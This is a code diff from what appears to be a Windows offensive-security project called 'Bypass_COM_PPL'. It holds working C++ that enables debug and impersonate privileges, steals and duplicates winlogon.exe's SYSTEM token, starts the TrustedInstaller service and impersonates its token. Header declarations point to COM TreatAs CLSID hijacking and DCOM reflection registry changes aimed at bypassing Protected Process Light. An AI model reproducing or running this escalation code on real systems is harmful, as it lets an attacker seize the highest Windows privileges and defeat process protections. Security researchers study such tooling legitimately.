// registry_utils.h
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
|
||||
class RegistryUtils {
|
||||
public:
|
||||
static bool SetDcomReflectionEnabled(bool enable);
|
||||
static bool SetTreatAs(const CLSID& originalClsid, const CLSID& newClsid);
|
||||
static void CleanupClsid(const CLSID& clsid);
|
||||
static bool SetOnlyUseLatestCLR(bool enable);
|
||||
static bool CleanDcomReflection();
|
||||
static bool CleanOnlyUseLatestCLR();
|
||||
};
|
||||
@@ -0,0 +1,222 @@
|
||||
// trustinstaller_utils.cpp
|
||||
#include "trustinstaller_utils.h"
|
||||
|
||||
void Elevate::EnablePrivilege(std::wstring privilegeName)
|
||||
{
|
||||
HANDLE hToken;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||
throw std::runtime_error("OpenProcessToken failed: " + std::to_string(GetLastError()));
|
||||
|
||||
LUID luid;
|
||||
if (!LookupPrivilegeValueW(nullptr, privilegeName.c_str(), &luid))
|
||||
{
|
||||
CloseHandle(hToken);
|
||||
throw std::runtime_error("LookupPrivilegeValue failed: " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
TOKEN_PRIVILEGES tp;
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||
{
|
||||
CloseHandle(hToken);
|
||||
throw std::runtime_error("AdjustTokenPrivilege failed: " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
DWORD Elevate::GetProcessIdByName(std::wstring processName)
|
||||
{
|
||||
HANDLE hSnapshot;
|
||||
if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
throw std::runtime_error("CreateToolhelp32Snapshot failed: " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
DWORD pid = -1;
|
||||
PROCESSENTRY32W pe;
|
||||
ZeroMemory(&pe, sizeof(PROCESSENTRY32W));
|
||||
pe.dwSize = sizeof(PROCESSENTRY32W);
|
||||
if (Process32FirstW(hSnapshot, &pe))
|
||||
{
|
||||
while (Process32NextW(hSnapshot, &pe))
|
||||
{
|
||||
if (pe.szExeFile == processName)
|
||||
{
|
||||
pid = pe.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
CloseHandle(hSnapshot);
|
||||
throw std::runtime_error("Process32First failed: " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
if (pid == -1)
|
||||
{
|
||||
CloseHandle(hSnapshot);
|
||||
throw std::runtime_error("process not found: " + std::wstring_convert<std::codecvt_utf8<wchar_t>>().to_bytes(processName));
|
||||
}
|
||||
|
||||
CloseHandle(hSnapshot);
|
||||
return pid;
|
||||
}
|
||||
|
||||
void Elevate::ImpersonateSystem()
|
||||
{
|
||||
auto systemPid = GetProcessIdByName(L"winlogon.exe");
|
||||
HANDLE hSystemProcess;
|
||||
if ((hSystemProcess = OpenProcess(
|
||||
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
|
||||
FALSE,
|
||||
systemPid)) == nullptr)
|
||||
{
|
||||
throw std::runtime_error("OpenProcess failed (winlogon.exe): " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
HANDLE hSystemToken;
|
||||
if (!OpenProcessToken(
|
||||
hSystemProcess,
|
||||
MAXIMUM_ALLOWED,
|
||||
&hSystemToken))
|
||||
{
|
||||
CloseHandle(hSystemProcess);
|
||||
throw std::runtime_error("OpenProcessToken failed (winlogon.exe): " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
HANDLE hDupToken;
|
||||
SECURITY_ATTRIBUTES tokenAttributes;
|
||||
tokenAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||
tokenAttributes.lpSecurityDescriptor = nullptr;
|
||||
tokenAttributes.bInheritHandle = FALSE;
|
||||
if (!DuplicateTokenEx(
|
||||
hSystemToken,
|
||||
MAXIMUM_ALLOWED,
|
||||
&tokenAttributes,
|
||||
SecurityImpersonation,
|
||||
TokenImpersonation,
|
||||
&hDupToken))
|
||||
{
|
||||
CloseHandle(hSystemToken);
|
||||
throw std::runtime_error("DuplicateTokenEx failed (winlogon.exe): " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
if (!ImpersonateLoggedOnUser(hDupToken))
|
||||
{
|
||||
CloseHandle(hDupToken);
|
||||
CloseHandle(hSystemToken);
|
||||
throw std::runtime_error("ImpersonateLoggedOnUser failed: " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
CloseHandle(hDupToken);
|
||||
CloseHandle(hSystemToken);
|
||||
}
|
||||
|
||||
int Elevate::StartTrustedInstallerService()
|
||||
{
|
||||
SC_HANDLE hSCManager;
|
||||
if ((hSCManager = OpenSCManagerW(
|
||||
nullptr,
|
||||
SERVICES_ACTIVE_DATABASE,
|
||||
GENERIC_EXECUTE)) == nullptr)
|
||||
{
|
||||
throw std::runtime_error("OpenSCManager failed: " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
SC_HANDLE hService;
|
||||
if ((hService = OpenServiceW(
|
||||
hSCManager,
|
||||
L"TrustedInstaller",
|
||||
GENERIC_READ | GENERIC_EXECUTE)) == nullptr)
|
||||
{
|
||||
CloseServiceHandle(hSCManager);
|
||||
throw std::runtime_error("OpenService failed: " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
SERVICE_STATUS_PROCESS statusBuffer;
|
||||
DWORD bytesNeeded;
|
||||
while (QueryServiceStatusEx(
|
||||
hService,
|
||||
SC_STATUS_PROCESS_INFO,
|
||||
reinterpret_cast<LPBYTE>(&statusBuffer),
|
||||
sizeof(SERVICE_STATUS_PROCESS),
|
||||
&bytesNeeded))
|
||||
{
|
||||
if (statusBuffer.dwCurrentState == SERVICE_STOPPED)
|
||||
{
|
||||
if (!StartServiceW(hService, 0, nullptr))
|
||||
{
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCManager);
|
||||
throw std::runtime_error("StartService failed: " + std::to_string(GetLastError()));
|
||||
}
|
||||
}
|
||||
if (statusBuffer.dwCurrentState == SERVICE_START_PENDING ||
|
||||
statusBuffer.dwCurrentState == SERVICE_STOP_PENDING)
|
||||
{
|
||||
Sleep(statusBuffer.dwWaitHint);
|
||||
continue;
|
||||
}
|
||||
if (statusBuffer.dwCurrentState == SERVICE_RUNNING)
|
||||
{
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCManager);
|
||||
return statusBuffer.dwProcessId;
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCManager);
|
||||
throw std::runtime_error("QueryServiceStatusEx failed: " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
void Elevate::RunAsTrustedInstaller()
|
||||
{
|
||||
auto pid = StartTrustedInstallerService();
|
||||
EnablePrivilege(SE_DEBUG_NAME);
|
||||
EnablePrivilege(SE_IMPERSONATE_NAME);
|
||||
Elevate::ImpersonateSystem();
|
||||
|
||||
HANDLE hTIProcess;
|
||||
if ((hTIProcess = OpenProcess(
|
||||
PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
|
||||
FALSE,
|
||||
pid)) == nullptr)
|
||||
{
|
||||
throw std::runtime_error("OpenProcess failed (TrustedInstaller.exe): " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
HANDLE hTIToken;
|
||||
if (!OpenProcessToken(
|
||||
hTIProcess,
|
||||
MAXIMUM_ALLOWED,
|
||||
&hTIToken))
|
||||
{
|
||||
CloseHandle(hTIProcess);
|
||||
throw std::runtime_error("OpenProcessToken failed (TrustedInstaller.exe): " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
HANDLE hDupToken;
|
||||
SECURITY_ATTRIBUTES tokenAttributes;
|
||||
tokenAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||
tokenAttributes.lpSecurityDescriptor = nullptr;
|
||||
tokenAttributes.bInheritHandle = FALSE;
|
||||
if (!DuplicateTokenEx(
|
||||
hTIToken,
|
||||
MAXIMUM_ALLOWED,
|
||||
&tokenAttributes,
|
||||
SecurityImpersonation,
|
||||
TokenImpersonation,
|
||||
&hDupToken))
|
||||
{
|
||||
CloseHandle(hTIToken);
|
||||
throw std::runtime_error("DuplicateTokenEx failed (TrustedInstaller.exe): " + std::to_string(GetLastError()));
|
||||
}
|
||||
|
||||
if (!ImpersonateLoggedOnUser(hTIToken)) {
|
||||
throw std::runtime_error("ImpersonateLoggedOnUser failed: " + std::to_string(GetLastError()));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
// trustinstaller_utils.h
|
||||
#pragma once
|
||||
#include <iostream>
|
||||
#include <codecvt>
|
||||
#include <Windows.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <string>
|
||||
#include <stdexcept>
|
||||
|
||||
class Elevate {
|
||||
|
||||
public:
|
||||
static void RunAsTrustedInstaller();
|
||||
|
||||
private:
|
||||
static void EnablePrivilege(std::wstring privilegeName);
|
||||
static DWORD GetProcessIdByName(std::wstring processName);
|
||||
static void ImpersonateSystem();
|
||||
static int StartTrustedInstallerService();
|
||||
};
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.11.35208.52
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Bypass_COM_PPL", "Bypass_COM_PPL\Bypass_COM_PPL.vcxproj", "{FFFD18ED-1660-44AA-8949-E64E0E7330E3}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Debug|x64.Build.0 = Debug|x64
|
||||
{FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Debug|x86.Build.0 = Debug|Win32
|
||||
{FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Release|x64.ActiveCfg = Release|x64
|
||||
{FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Release|x64.Build.0 = Release|x64
|
||||
{FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Release|x86.ActiveCfg = Release|Win32
|
||||
{FFFD18ED-1660-44AA-8949-E64E0E7330E3}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {94202749-A107-4A07-B8BB-6B796A54FEF2}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Reference in New Issue
Block a user